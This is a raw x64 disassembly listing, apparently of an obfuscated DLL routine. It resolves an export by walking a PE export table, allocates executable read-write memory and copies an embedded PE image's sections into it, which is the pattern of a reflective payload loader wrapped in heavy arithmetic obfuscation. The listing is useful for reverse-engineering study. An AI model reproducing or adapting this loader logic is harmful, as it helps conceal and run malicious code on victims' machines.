movsxd rax, dword [r13 + 0x3c]
mov edi, dword [r13 + rax + 0x88]
mov r8d, dword [r13 + rdi + 0x1c]
mov eax, dword [0x180025480]
mov edx, dword [0x180025484]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0x6bc27def
and ebp, 0x943d8210
or ebp, ebx
xor ebp, 0x6bc27dee
or ebp, eax
cmp ebp, 0xffffffff
sete r9b
setne cl
cmp edx, 9
setg bl
cmp edx, 0xa
setl al
mov edx, eax
xor dl, cl
and dl, al
and bl, r9b
and al, cl
or al, bl
cmp dl, al
jne 0x180002652
xor dl, 1
xor al, 1
or al, dl
xor al, 1
jne 0x180002652
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x180002650
mov r15, r12
add r8, r13
mov r12d, dword [r13 + rdi + 0x20]
mov r9d, dword [r13 + rdi + 0x24]
add r12, r13
add r9, r13
mov r10b, 1
mov rsi, qword [rsp + 0x48]
mov ebp, dword [r12]
add rbp, r13
xor edi, edi
nop dword [rax]
movzx eax, byte [rsi + rdi]
movzx r11d, byte [rbp + rdi]
cmp al, r11b
sete dl
setne bl
test al, al
setne cl
xor bl, cl
xor bl, 1
or dl, cl
xor dl, 1
or dl, bl
jne 0x1800026b1
add rdi, 1
test r10b, r10b
je 0x1800026b1
jne 0x180002680
cmp al, r11b
je 0x1800026c0
add r12, 4
add r9, 2
jmp 0x180002670
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r13, rax
mov rsi, qword [rsp + 0x98]
mov edx, dword [rsi + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r13
cmp word [rsi + 6], 0
mov ebp, dword [0x180025458]
mov r8d, dword [0x18002545c]
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x28], rax
je 0x180004b2b
mov rcx, rax
lea rax, [rsi + 0x108]
mov qword [rsp + 0x40], rax
movabs r11, 0xf9f9e0ed3167a8a0
movabs r14, 0xf00da068572ac78c
movabs r13, 0x6613f75b34371890
movabs r12, 0x3ca17eedfd496639
lea rax, [rcx + 0x10]
mov qword [rsp + 0x70], rax
xor eax, eax
mov rsi, r15
jmp 0x18000276f
mov rcx, qword [rsp + 0x98]
movzx ecx, word [rcx + 6]
cmp rax, rcx
movabs r11, 0xf9f9e0ed3167a8a0
jae 0x180004b2b
mov rdi, rax
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
and ecx, 0xfffffffe
xor eax, 1
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x7ceadb31
and eax, 0x831524ce
or eax, ecx
xor eax, 0x831524ce
sete r9b
setne dl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
or bl, dl
xor bl, 1
xor cl, r9b
test bl, cl
mov qword [rsp + 0x38], rdi
jne 0x180002950
xor bl, cl
jne 0x180002950
lea rax, [rdi + rdi*4]
mov r9, qword [rsp + 0x40]
mov r15d, dword [r9 + rax*8 + 0x10]
test r15, r15
je 0x18000295a
mov r8d, dword [r9 + rax*8 + 0xc]
mov edi, dword [r9 + rax*8 + 0x14]
mov rcx, qword [rsp + 0x28]
lea r10, [rdi + rsi]
add r10, 0x404
lea r11, [rcx + r8]
cmp r15d, 0x20
jb 0x180002ee0
movabs rax, 0x342e06667833b274
mov rdx, rax
add rax, r15
add rax, r8
sub rax, rdx
add rax, rcx
lea rcx, [rdi + rsi]
add rcx, 0x404
movabs rbx, 0x2cc9481bd1e1ec16
mov rbp, rbx
sub rbp, r15
sub rbp, rdi
movabs rdx, 0x4886a887f2df199d
add rbp, rdx
sub rbx, rbp
add rbx, rdx
lea rdx, [0x180008404]
add rbx, rdx
cmp r11, rbx
setb bl
cmp rcx, rax
setb al
setae cl
xor cl, bl
xor cl, 1
or al, bl
xor al, 1
or al, cl
movabs r9, 0xf96a2c8be7212dd1
jne 0x180002891
mov cl, 1
test cl, cl
je 0x180002891
jne 0x180002eea
mov eax, 0xffffffe0
not rax
mov rsi, r15
not rsi
movabs rdx, 0x66d1f7e352e17d8b
mov rcx, rdx
and rcx, rsi
mov rbp, rdx
not rbp
mov ebx, ebp
mov qword [rsp + 0x50], r15
and ebx, r15d
or rbx, rcx
and rbp, rax
not eax
mov ecx, edx
and ecx, eax
or rbp, rcx
xor rbp, rbx
xor rsi, rbp
and rsi, rbp
mov qword [rsp + 0x88], rsi
lea rax, [rsi - 0x20]
mov rsi, rax
shr rsi, 5
movabs rcx, 0x4dc6053133b08cf1
mov rbx, rcx
add rcx, rsi
movabs rdx, 0xbb59d849044a767f
mov rbp, rdx
sub rbp, rcx
add rbp, rbx
neg rbp
add rdx, rbp
add rdx, 1
mov r13, rdx
not r13
mov rcx, r13
and rcx, 0xfffffffffffffffc
mov ebp, edx
and ebp, 3
or rbp, rcx
xor r13, rbp
and r13, rbp
cmp rax, 0x60
mov qword [rsp + 0x78], r8
mov qword [rsp + 0x80], rdi
jae 0x180002964
xor r9d, r9d
jmp 0x180002df1
mov r9, qword [rsp + 0x40]
jmp 0x1800030ec
mov eax, 1
jmp 0x1800030ec
movabs rax, 0x5eebbb140272c7f9
sub rdx, rax
sub rdx, r13
movabs rcx, 0x4026f88c57d002d8
sub rdx, rcx
add rdx, rax
add rdx, rcx
mov qword [rsp + 0x58], rdx
mov rax, qword [rsp + 0x70]
add rax, r8
mov qword [rsp + 0x20], rax
lea rax, section..data
add rax, rdi
add rax, 0x414
mov qword [rsp + 0x48], rax
not rsi
add rsi, r13
mov qword [rsp + 0x60], rsi
mov r15, 0xffffffffffffffff
xor r9d, r9d
nop word cs:[rax + rax]
nop dword [rax]
mov rax, qword [rsp + 0x48]
movups xmm0, xmmword [rax + r9 - 0x10]
movups xmm1, xmmword [rax + r9]
mov rax, qword [rsp + 0x20]
movups xmmword [rax + r9 - 0x10], xmm0
movups xmmword [rax + r9], xmm1
movabs rdx, 0xc1dadcd3652d1c4c
mov eax, edx
not eax
mov ecx, r15d
not ecx
or eax, edx
and eax, ecx
and eax, 0x20
movabs rdx, 0x1cc7003385e72697
mov rcx, rdx
and rcx, r15
mov rbp, rdx
not rbp
mov rbx, r9
and rbx, rbp
or rbx, rcx
mov rcx, rdx
and rcx, 0xffffffffffffffdf
and ebp, 0x20
or rbp, rcx
xor rbp, rbx
mov ecx, ebp
and ecx, eax
xor rbp, rax
or rbp, rcx
movups xmm0, xmmword [r10 + rbp]
movups xmm1, xmmword [r10 + rbp + 0x10]
movups xmmword [r11 + rbp], xmm0
movups xmmword [r11 + rbp + 0x10], xmm1
movabs rbp, 0x8bfbd4f64b2196a6
mov rax, rbp
and rax, r15
not rbp
mov rdx, r9
and rdx, rbp
or rdx, rax
xor rdx, rbp
movabs r14, 0x5cce6af99ddef88f
mov r8, r14
not r8
mov rcx, rdx
xor rcx, r8
and rcx, rdx
mov rsi, r9
xor rsi, r14
and rsi, r9
movabs rax, 0x26d6205173a347b8
mov rbx, rax
not rbx
or rbx, rax
and rbx, r14
and rbx, 0xffffffffffffffbf
mov edi, r14d
not edi
and edi, 0x40
or rdi, rbx
mov rbp, rcx
not rbp
movabs r12, 0x20f122dee73c8f41
mov rbx, r12
not rbx
mov rax, rbp
and rax, r12
and rcx, rbx
or rcx, rax
mov rax, rsi
not rax
or rbp, rax
and rax, r12
and rsi, rbx
or rsi, rax
xor rsi, rcx
not rbp
or rbx, r12
and rbx, rbp
or rbx, rsi
mov rax, rbx
not rax
and rax, rdi
not rdi
and rdi, rbx
or rdi, rax
movabs rsi, 0x8b9780a6bd4aeb30
mov rax, rsi
not rax
mov rcx, rdx
mov rbx, rsi
or rbx, rax
and rbx, rdx
not rdx
and rdx, rsi
and rcx, rax
or rcx, rdx
mov edx, esi
and edx, 0x40
and rax, 0xffffffffffffffbf
or rax, rdx
xor rax, rcx
and rbx, 0xffffffffffffffbf
or rbx, rax
mov rax, rbx
not rax
movabs rcx, 0x4696f3751d5d9774
and rax, rcx
not rcx
and rbx, rcx
or rbx, rax
xor rbx, rcx
movabs rbp, 0x2cab302ff62d2a14
mov rcx, rbp
not rcx
mov rax, r8
and rax, rbp
mov rdx, r14
and rdx, rcx
or rdx, rax
mov rax, r14
and rax, rbp
mov rsi, r8
and rsi, rcx
or rsi, rax
xor rsi, rdx
or r8, r14
not r8
or rcx, rbp
and rcx, r8
or rcx, rsi
xor rcx, rbx
not rcx
and rcx, rbx
mov rax, rdi
and rax, rcx
xor rcx, rdi
or rcx, rax
movups xmm0, xmmword [r10 + rcx]
movups xmm1, xmmword [r10 + rcx + 0x10]
movups xmmword [r11 + rcx], xmm0
movups xmmword [r11 + rcx + 0x10], xmm1
movabs rcx, 0x876a99805894b0cf
mov rax, rcx
and rax, r15
not rcx
mov rsi, r9
and rsi, rcx
or rsi, rax
xor rsi, rcx
movabs r12, 0xff3b0c9e03a481fe
mov rax, r12
not rax
mov r8, rsi
not r8
movabs rdi, 0xf66551d18a72ee08
mov rcx, rdi
not rcx
mov rdx, r8
or rdx, rax
or rcx, rdi
not rdx
and rdx, rcx
mov rbp, r9
xor rbp, r12
and rbp, r9
mov rcx, r12
and rcx, 0xffffffffffffff9f
movabs r14, 0xc73eb6b5dc74abef
mov edi, r14d
not edi
mov ebx, r12d
not ebx
or edi, r14d
and edi, ebx
mov rbx, rdx
and rbx, rbp
xor rbp, rdx
or rbp, rbx
mov rdx, rcx
not rdx
movabs r14, 0xb3930e6698d5462d
mov rbx, r14
not rbx
and rdx, r14
and rcx, rbx
or rcx, rdx
and edi, 0x60
and ebx, edi
not rdi
and rdi, r14
or rbx, rdi
xor rbx, rcx
mov rcx, rbp
not rcx
movabs rdx, 0x422c6678912508bb
and rcx, rdx
mov rdi, rdx
not rdi
and rbp, rdi
or rbp, rcx
and rdi, rbx
not rbx
and rbx, rdx
or rdi, rbx
movabs rdx, 0x7b86776c06bf0c43
mov rcx, rdx
not rcx
mov rbx, rdx
or rbx, rcx
and rbx, rsi
xor rdi, rbp
and r8, rdx
and rsi, rcx
or rsi, r8
and edx, 0x60
and rcx, 0xffffffffffffff9f
or rcx, rdx
xor rcx, rsi
and rbx, 0xffffffffffffff9f
or rbx, rcx
mov rcx, rbx
not rcx
movabs rdx, 0xe6d4080865b15446
and rcx, rdx
not rdx
and rbx, rdx
or rbx, rcx
xor rbx, rdx
movabs r8, 0x9be350ad9322d5f6
mov rbp, r8
not rbp
mov rcx, rax
and rcx, r8
mov rdx, r12
and rdx, rbp
or rdx, rcx
mov rcx, r12
and rcx, r8
mov rsi, rax
and rsi, rbp
or rsi, rcx
xor rsi, rdx
or rax, r12
not rax
or rbp, r8
and rbp, rax
or rbp, rsi
not rbx
not rbp
or rbp, rbx
movabs rcx, 0x80addf84cb0d8cc0
mov rax, rcx
not rax
or rax, rcx
not rbp
and rbp, rax
mov rax, rdi
not rax
movabs rbx, 0x88f5014ea174be93
mov rcx, rbx
not rcx
mov rdx, rax
and rdx, rbx
and rdi, rcx
or rdi, rdx
mov rdx, rbp
not rdx
or rax, rdx
and rdx, rbx
and rbp, rcx
or rbp, rdx
xor rbp, rdi
not rax
or rcx, rbx
and rcx, rax
or rcx, rbp
movdqu xmm0, xmmword [r10 + rcx]
movdqu xmm1, xmmword [r10 + rcx + 0x10]
movdqu xmmword [r11 + rcx], xmm0
movdqu xmmword [r11 + rcx + 0x10], xmm1
sub r9, 0xffffffffffffff80
add qword [rsp + 0x58], 0xfffffffffffffffc
add r15, 0xffffffffffffff80
add qword [rsp + 0x60], 4
jne 0x1800029d0
test r13, r13
lea r12, section..data
mov rsi, r12
movabs rcx, 0x72da19d728958a56
movabs rdx, 0x4a9c9dd72943b820
movabs rbp, 0x2955fecda15d51e7
mov rbx, qword [rsp + 0x78]
je 0x180002e76
add rbx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x80]
add rax, rsi
add rax, 0x414
nop dword [rax]
movdqu xmm0, xmmword [rax + r9 - 0x10]
movdqu xmm1, xmmword [rax + r9]
movdqu xmmword [rbx + r9 - 0x10], xmm0
movdqu xmmword [rbx + r9], xmm1
sub r9, rbp
sub r9, rdx
add r9, rbp
sub r9, rcx
add r9, rdx
add r9, rcx
add r9, 0x20
add r13, 0xffffffffffffffff
jne 0x180002e40
mov r15, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x88]
cmp rdx, r15
mov r9, qword [rsp + 0x40]
movabs r14, 0xf00da068572ac78c
movabs r13, 0x6613f75b34371890
movabs r12, 0x3ca17eedfd496639
mov rdi, qword [rsp + 0x38]
je 0x1800030b3
movabs rax, 0x5abb43bdb5e2256f
mov rcx, rax
sub r15, rax
movabs rax, 0xb474b5095f19a1c2
sub r15, rax
sub r15, rdx
add r15, rax
add r10, rdx
add r11, rdx
add r15, rcx
movabs r9, 0xf96a2c8be7212dd1
movabs r8, 0xcc15e604bd08c919
lea rcx, [r15 + r8]
not r8
add r8, rcx
mov qword [rsp + 0x20], r8
mov rbx, r15
not rbx
movabs rbp, 0x6d7ee4d22f8c0d8e
mov rdx, rbp
and rdx, 0xfffffffffffffff8
not rbp
mov ecx, ebp
and ecx, 7
or rcx, rdx
xor rcx, rbp
mov rax, r15
movabs r15, 0x7347a6cac047e94c
mov rdx, r15
not rdx
movabs rbp, 0xbbf12ec3e83404f6
and rdx, rbp
not rbp
mov rsi, r15
and rsi, rbp
or rsi, rdx
xor rsi, rbp
mov rdx, rcx
not rdx
movabs r8, 0x28bbb372ef494ffb
mov rdi, r8
not rdi
mov rbp, rax
and rbp, r8
and rbx, rdi
or rbx, rbp
mov qword [rsp + 0x50], rax
or rax, rdx
and rdx, r8
and rcx, rdi
or rcx, rdx
xor rcx, rbx
not rax
or rdi, r8
and rdi, rax
or rdi, rcx
mov rcx, r15
and rcx, rsi
xor rsi, r15
or rsi, rcx
not rdi
xor rsi, rdi
not rsi
and rsi, rdi
je 0x18000301c
mov r15, qword [rsp + 0x20]
xor ecx, ecx
mov r8, qword [rsp + 0x50]
mov rbx, r8
mov rbp, rsi
movabs rdi, 0x33dbcd771f49037f
movabs rax, 0x1b623edc8d852c50
nop dword [rax]
mov rdx, r9
sub rdx, rbx
not rdx
add rdx, r9
movzx ebx, byte [r10 + rcx]
mov byte [r11 + rcx], bl
add rbp, rdi
sub rbp, rax
sub rbp, rdi
add rbp, rax
add rbp, 0xffffffffffffffff
add rcx, 1
mov rbx, rdx
cmp rsi, rcx
jne 0x180002fe0
add r10, rcx
add r11, rcx
sub r8, rcx
jmp 0x180003026
mov r8, qword [rsp + 0x50]
mov r15, qword [rsp + 0x20]
cmp r15, 7
mov rdi, qword [rsp + 0x38]
lea rsi, section..data
mov r9, qword [rsp + 0x40]
jb 0x1800030b3
xor eax, eax
mov rcx, r8
nop word cs:[rax + rax]
nop dword [rax]
movzx edx, byte [r10 + rax]
mov byte [r11 + rax], dl
movzx edx, byte [r10 + rax + 1]
mov byte [r11 + rax + 1], dl
movzx edx, byte [r10 + rax + 2]
mov byte [r11 + rax + 2], dl
movzx edx, byte [r10 + rax + 3]
mov byte [r11 + rax + 3], dl
movzx edx, byte [r10 + rax + 4]
mov byte [r11 + rax + 4], dl
movzx edx, byte [r10 + rax + 5]
mov byte [r11 + rax + 5], dl
movzx edx, byte [r10 + rax + 6]
mov byte [r11 + rax + 6], dl
add rcx, 0xfffffffffffffff8
movzx edx, byte [r10 + rax + 7]
mov byte [r11 + rax + 7], dl
add rax, 8
cmp r8, rax
jne 0x180003050
mov ebp, dword [0x180025458]
mov r8d, dword [0x18002545c]
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd36d40a5
and eax, 0x2c92bf5a
or eax, edx
xor eax, 0xd36d40a4
or eax, ecx
not eax
movabs r11, 0xf9f9e0ed3167a8a0
test eax, eax
sete dl
setne bl
cmp r8d, 0xa
setl al
cmp r8d, 9
setg cl
and dl, cl
or cl, bl
xor cl, 1
and al, bl
or al, dl
test cl, al
jne 0x180003c84
xor cl, al
jne 0x180003c84
lea ecx, [rbp - 1]
imul ecx, ebp
mov eax, ecx
not eax
and eax, 0xde7616fd
and ecx, 0x2189e902
or ecx, eax
mov eax, ecx
xor eax, 0x2189e902
and eax, 0xfffffffe
xor ecx, 0xde7616fc
or ecx, eax
mov eax, ecx
not eax
and eax, 0xa7791e90
and ecx, 0x5886e16f
or ecx, eax
xor ecx, 0x5886e16f
test ecx, ecx
setne dl
cmp r8d, 9
setg al
mov ecx, eax
and cl, dl
xor al, dl
or cl, al
xor cl, 1
test al, cl
jne 0x180003180
xor al, cl
je 0x180003ba1
lea rax, [rdi + rdi*4]
mov r15d, dword [r9 + rax*8 + 0x10]
test r15, r15
je 0x180003b04
mov rdx, qword [rsp + 0x28]
mov edi, dword [r9 + rax*8 + 0xc]
mov ebx, dword [r9 + rax*8 + 0x14]
lea r14, [rbx + rsi]
add r14, 0x404
lea r13, [rdx + rdi]
cmp r15d, 0x20
jae 0x1800031c0
mov r8, rsi
jmp 0x180003980
movabs rax, 0x5169ad2318718a82
mov rcx, rax
add rax, r15
add rax, rdi
sub rax, rcx
add rax, rdx
mov r8, rsi
lea rcx, [rbx + rsi]
add rcx, 0x404
mov rdx, r15
movabs rbp, 0x98944fa3e98c68fa
sub rdx, rbp
mov qword [rsp + 0x50], rbx
add rdx, rbx
add rdx, rbp
lea rbp, [0x180008404]
add rdx, rbp
cmp r13, rdx
setb dl
setae bl
cmp rcx, rax
setb al
setae cl
and cl, bl
and al, dl
or al, cl
xor bl, al
cmp bl, 1
movabs rsi, 0x677ff4c01c1186f9
jne 0x18000323d
test al, al
jne 0x18000398a
mov qword [rsp + 0x78], rdi
mov eax, 0xffffffe0
not eax
mov ecx, r15d
not ecx
and eax, ecx
mov qword [rsp + 0x88], r15
mov edx, 0xffffffe0
and r15d, edx
or r15d, eax
not r15d
movabs rax, 0xeb084b4b6479303c
mov rdx, rax
not eax
or r15d, ecx
or eax, edx
not r15d
and r15d, eax
mov qword [rsp + 0x80], r15
lea r10, [r15 - 0x20]
mov rax, r10
shr rax, 5
movabs rcx, 0x1fd8ace1d05580f0
mov rbp, rcx
sub rax, rcx
movabs rcx, 0xc58ec581990eb21d
mov rdx, rcx
add rax, rcx
add rax, rbp
movabs rcx, 0xe04c5b225a0a7b29
sub rax, rcx
sub rax, rdx
lea rbx, [rax + rcx]
add rbx, 1
mov rcx, rbx
not rcx
movabs rdi, 0xd59d7442112691ce
mov r9, rdi
mov rax, rdi
not rax
movabs rdx, 0xbf8d98de847ed56a
and rax, rdx
not rdx
and rdi, rdx
or rdi, rax
xor rdi, rdx
movabs rsi, 0x9e94df7ecd55d815
mov rdx, rsi
not rdx
mov rbp, rbx
and rbp, rsi
mov rax, rsi
or rax, rdx
and rax, rcx
and rcx, rdx
or rcx, rbp
mov ebp, esi
and ebp, 3
and rdx, 0xfffffffffffffffc
or rdx, rbp
xor rdx, rcx
and rax, 0xfffffffffffffffc
or rax, rdx
mov rcx, r9
and rcx, rdi
xor rdi, r9
or rdi, rcx
mov rcx, rax
not rcx
movabs rdx, 0x7cb114e02190a291
and rcx, rdx
not rdx
and rax, rdx
or rax, rcx
xor rax, rdx
xor rdi, rax
not rdi
and rdi, rax
cmp r10, 0x60
mov qword [rsp + 0xa8], rdi
jae 0x180003385
xor r15d, r15d
jmp 0x1800038b7
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
add rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
add rax, r8
add rax, 0x414
mov qword [rsp + 0x58], rax
mov rax, rdi
sub rax, rbx
mov qword [rsp + 0x60], rax
sub rbx, rdi
mov qword [rsp + 0x20], rbx
mov r12, 0xffffffffffffffff
xor r15d, r15d
nop word [rax + rax]
movabs rcx, 0xc0f86d484c619b89
mov rax, rcx
and rax, 0xffffffffffffffdf
not rcx
mov ebx, ecx
and ebx, 0x20
or rbx, rax
xor rbx, rcx
movabs r9, 0xf12302b7266b213d
mov rdi, r9
mov r11, r9
not r11
movabs rcx, 0xcf0b07f6dee81bc3
mov rax, rcx
and rax, r11
not rcx
and rdi, rcx
or rdi, rax
xor rdi, rcx
mov rdx, r12
xor rdx, r11
and rdx, r12
mov rcx, rdi
not rcx
mov rax, r15
xor rax, rcx
and rax, r15
mov r8, rbx
not r8
movabs rsi, 0x40bf6de892e91de5
mov rbp, rsi
not rbp
or r11, r8
or rbp, rsi
not r11
and r11, rbp
movabs rsi, 0x2ef2ed7224db8d3e
mov ebp, esi
not ebp
not ecx
or ebp, esi
and ebp, ecx
mov rcx, rdx
not rcx
movabs r9, 0xd96b3002e10bb6a9
mov r10, r9
not r10
mov rsi, rcx
and rsi, r9
and rdx, r10
or rdx, rsi
mov rsi, rax
not rsi
or rcx, rsi
and rsi, r9
and rax, r10
or rax, rsi
mov rsi, qword [rsp + 0x58]
movups xmm0, xmmword [rsi + r15 - 0x10]
movups xmm1, xmmword [rsi + r15]
mov rsi, qword [rsp + 0x48]
movups xmmword [rsi + r15 - 0x10], xmm0
movups xmmword [rsi + r15], xmm1
and ebp, 0x20
xor rax, rdx
not rcx
or r10, r9
and r10, rcx
or r10, rax
mov eax, ebp
and eax, r11d
xor rbp, r11
or rbp, rax
mov rax, r10
not rax
movabs rcx, 0xb7cd24e0e03e8a27
and rax, rcx
mov r11, rcx
not r11
and r10, r11
or r10, rax
and r11, rbp
not rbp
and rbp, rcx
or r11, rbp
xor r11, r10
mov r10, r12
not r10
movabs rbp, 0x938a4270838785cc
mov rax, rbp
not rax
mov rcx, r10
and rcx, rbp
mov rdx, r12
and rdx, rax
or rdx, rcx
mov rcx, r10
or rcx, r8
and r8, rbp
and rbx, rax
or rbx, r8
xor rbx, rdx
not rcx
or rax, rbp
and rax, rcx
or rax, rbx
movabs rdx, 0xf12302b7266b213d
mov rcx, rdx
and rcx, rdi
xor rdi, rdx
or rdi, rcx
not rdi
or rdi, rax
movabs rcx, 0xfd39f819eb1357ce
mov rax, rcx
not rax
or rax, rcx
not rdi
and rdi, rax
mov rax, r11
and rax, rdi
xor rdi, r11
or rdi, rax
movups xmm0, xmmword [r14 + rdi]
movups xmm1, xmmword [r14 + rdi + 0x10]
movups xmmword [r13 + rdi], xmm0
movups xmmword [r13 + rdi + 0x10], xmm1
movabs rcx, 0xcff16aeeeaf72d8b
mov rax, rcx
and rax, r12
not rcx
mov r8, r15
and r8, rcx
or r8, rax
xor r8, rcx
movabs r9, 0xf30d99896f4aed0e
mov rax, r9
not rax
movabs rdx, 0x9800eb130b5ca9a2
mov rcx, rdx
and rcx, rax
not rdx
mov rbx, r9
and rbx, rdx
or rbx, rcx
xor rbx, rdx
mov r11, r8
not r11
movabs rdx, 0x11d8e6b6203b3447
mov rcx, rdx
not rcx
or r11, rax
or rcx, rdx
not r11
and r11, rcx
mov rcx, rbx
not rcx
movabs rax, 0x50408138f37c00f9
mov rdx, rax
not rdx
mov rbp, r12
or rbp, rcx
or rdx, rax
not rbp
and rbp, rdx
movabs rax, 0x8c86f3a6406cc665
mov rsi, rax
not rsi
or rsi, rax
and rsi, r9
and rsi, 0xffffffffffffffbf
movabs rax, 0x7e90e19ba290711d
mov edx, eax
not edx
not ecx
or edx, eax
and edx, ecx
and edx, 0x40
or rdx, rsi
mov rdi, r11
not rdi
movabs r9, 0x404c288cfb57f9d
mov rcx, r9
not rcx
mov rsi, rdi
and rsi, r9
and r11, rcx
or r11, rsi
mov rax, rbp
not rax
or rdi, rax
and rax, r9
and rbp, rcx
or rbp, rax
xor rbp, r11
not rdi
or rcx, r9
and rcx, rdi
or rcx, rbp
mov rbp, rcx
not rbp
movabs rdi, 0xc30d1c6f909c2d26
and rbp, rdi
mov rax, rdi
not rax
and rcx, rax
or rcx, rbp
and rax, rdx
not rdx
and rdx, rdi
or rax, rdx
xor rax, rcx
mov rcx, r8
and rcx, 0xffffffffffffffbf
xor r8, 0xffffffffffffffbf
or r8, rcx
not r8
movabs rdx, 0xf30d99896f4aed0e
mov rcx, rdx
and rcx, rbx
xor rbx, rdx
or rbx, rcx
xor rbx, r8
not rbx
and rbx, r8
mov rcx, rax
and rcx, rbx
xor rbx, rax
or rbx, rcx
movups xmm0, xmmword [r14 + rbx]
movups xmm1, xmmword [r14 + rbx + 0x10]
movups xmmword [r13 + rbx], xmm0
movups xmmword [r13 + rbx + 0x10], xmm1
movabs r8, 0x475c1420ea5182f6
mov rsi, r8
not rsi
movabs rcx, 0x80d861195caf4477
mov rax, rcx
not rax
or r10, rsi
or rax, rcx
not r10
and r10, rax
mov rax, r15
xor rax, r8
and rax, r15
mov rdx, r8
and rdx, 0xffffffffffffff9f
movabs rbx, 0x6dd2c4ede91381e7
mov ecx, ebx
not ecx
mov ebp, r8d
not ebp
or ecx, ebx
and ecx, ebp
and ecx, 0x60
or rcx, rdx
mov rdx, r10
and rdx, rax
xor rax, r10
or rax, rdx
mov rdx, rax
not rdx
movabs rbp, 0xbc6bd3f68b46676c
and rdx, rbp
mov rdi, rbp
not rdi
and rax, rdi
or rax, rdx
and rdi, rcx
not rcx
and rcx, rbp
or rdi, rcx
xor rdi, rax
mov rcx, r12
and rcx, 0xffffffffffffff9f
mov rax, r12
xor rax, 0xffffffffffffff9f
or rax, rcx
mov rcx, rax
not rcx
movabs rdx, 0x58f192d7ddc3813f
and rcx, rdx
not rdx
and rax, rdx
or rax, rcx
xor rax, rdx
movabs r9, 0xdb132f25e1cd1d7
mov rbp, r9
not rbp
mov rcx, rsi
and rcx, r9
mov rdx, r8
and rdx, rbp
or rdx, rcx
mov rcx, r8
and rcx, r9
mov rbx, rsi
and rbx, rbp
or rbx, rcx
xor rbx, rdx
or rsi, r8
not rsi
or rbp, r9
and rbp, rsi
or rbp, rbx
xor rbp, rax
not rbp
and rbp, rax
mov rax, rdi
not rax
movabs rbx, 0xd2d28d89b73f3e88
mov rcx, rbx
not rcx
mov rdx, rax
and rdx, rbx
and rdi, rcx
or rdi, rdx
mov rdx, rbp
not rdx
or rax, rdx
and rdx, rbx
and rbp, rcx
or rbp, rdx
xor rbp, rdi
not rax
or rcx, rbx
and rcx, rax
or rcx, rbp
movdqu xmm0, xmmword [r14 + rcx]
movdqu xmm1, xmmword [r14 + rcx + 0x10]
movdqu xmmword [r13 + rcx], xmm0
movdqu xmmword [r13 + rcx + 0x10], xmm1
sub r15, 0xffffffffffffff80
add qword [rsp + 0x20], 0xfffffffffffffffc
add r12, 0xffffffffffffff80
add qword [rsp + 0x60], 4
jne 0x1800033d0
mov rdx, qword [rsp + 0xa8]
test rdx, rdx
lea r12, section..data
mov rsi, r12
mov rcx, qword [rsp + 0x78]
je 0x180003914
add rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x50]
add rax, rsi
add rax, 0x414
nop word cs:[rax + rax]
movdqu xmm0, xmmword [rax + r15 - 0x10]
movdqu xmm1, xmmword [rax + r15]
movdqu xmmword [rcx + r15 - 0x10], xmm0
movdqu xmmword [rcx + r15], xmm1
add r15, 0x20
add rdx, 0xffffffffffffffff
jne 0x1800038f0
mov r15, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
cmp rdx, r15
mov r9, qword [rsp + 0x40]
movabs r11, 0xf9f9e0ed3167a8a0
movabs r12, 0x3ca17eedfd496639
mov rdi, qword [rsp + 0x38]
je 0x180003b04
mov r8, rsi
movabs rax, 0x1e332b5dce287b8a
mov rcx, rax
sub r15, rax
movabs rax, 0xd2a041235d8be96e
add r15, rax
sub r15, rdx
sub r15, rax
add r14, rdx
add r13, rdx
add r15, rcx
nop word [rax + rax]
movabs rsi, 0x677ff4c01c1186f9
mov rax, r15
movabs rcx, 0x29e96bc4c927a3a6
mov rdx, rcx
sub rax, rcx
movabs rcx, 0xa2bbeca7a3512b41
sub rax, rcx
add rax, rdx
lea rbp, [rcx + rax]
add rbp, 0xffffffffffffffff
mov rax, r15
not rax
movabs rcx, 0xc514b57a7b168788
and rax, rcx
not rcx
mov rdx, r15
and rdx, rcx
or rdx, rax
xor rdx, rcx
movabs rbx, 0x9ea1ec048a6cabb1
mov rcx, rbx
and rcx, 0xfffffffffffffff8
not rbx
mov eax, ebx
and eax, 7
or rax, rcx
xor rax, rbx
movabs rbx, 0xbe7154e971fff277
mov rdi, rbx
not rdi
mov rcx, rdx
and rcx, rax
xor rax, rdx
or rax, rcx
mov rcx, rbx
and rcx, rdi
xor rdi, rbx
or rdi, rcx
mov rcx, rax
not rcx
movabs rdx, 0x29474e9c3dacfc60
and rcx, rdx
not rdx
and rax, rdx
or rax, rcx
xor rax, rdx
xor rdi, rax
not rdi
and rdi, rax
je 0x180003a7f
xor eax, eax
mov rcx, r15
mov rdx, rdi
add rcx, 0xffffffffffffffff
movzx ebx, byte [r14 + rax]
mov byte [r13 + rax], bl
add rdx, rsi
mov rbx, rsi
sub rbx, rdx
not rbx
add rax, 1
mov rdx, rbx
cmp rdi, rax
jne 0x180003a50
add r14, rax
add r13, rax
sub r15, rax
cmp rbp, 7
mov rdi, qword [rsp + 0x38]
mov rsi, r8
jb 0x180003b04
xor eax, eax
mov rcx, r15
nop word cs:[rax + rax]
nop dword [rax]
movzx edx, byte [r14 + rax]
mov byte [r13 + rax], dl
movzx edx, byte [r14 + rax + 1]
mov byte [r13 + rax + 1], dl
movzx edx, byte [r14 + rax + 2]
mov byte [r13 + rax + 2], dl
movzx edx, byte [r14 + rax + 3]
mov byte [r13 + rax + 3], dl
movzx edx, byte [r14 + rax + 4]
mov byte [r13 + rax + 4], dl
movzx edx, byte [r14 + rax + 5]
mov byte [r13 + rax + 5], dl
movzx edx, byte [r14 + rax + 6]
mov byte [r13 + rax + 6], dl
add rcx, 0xfffffffffffffff8
movzx edx, byte [r14 + rax + 7]
mov byte [r13 + rax + 7], dl
add rax, 8
cmp r15, rax
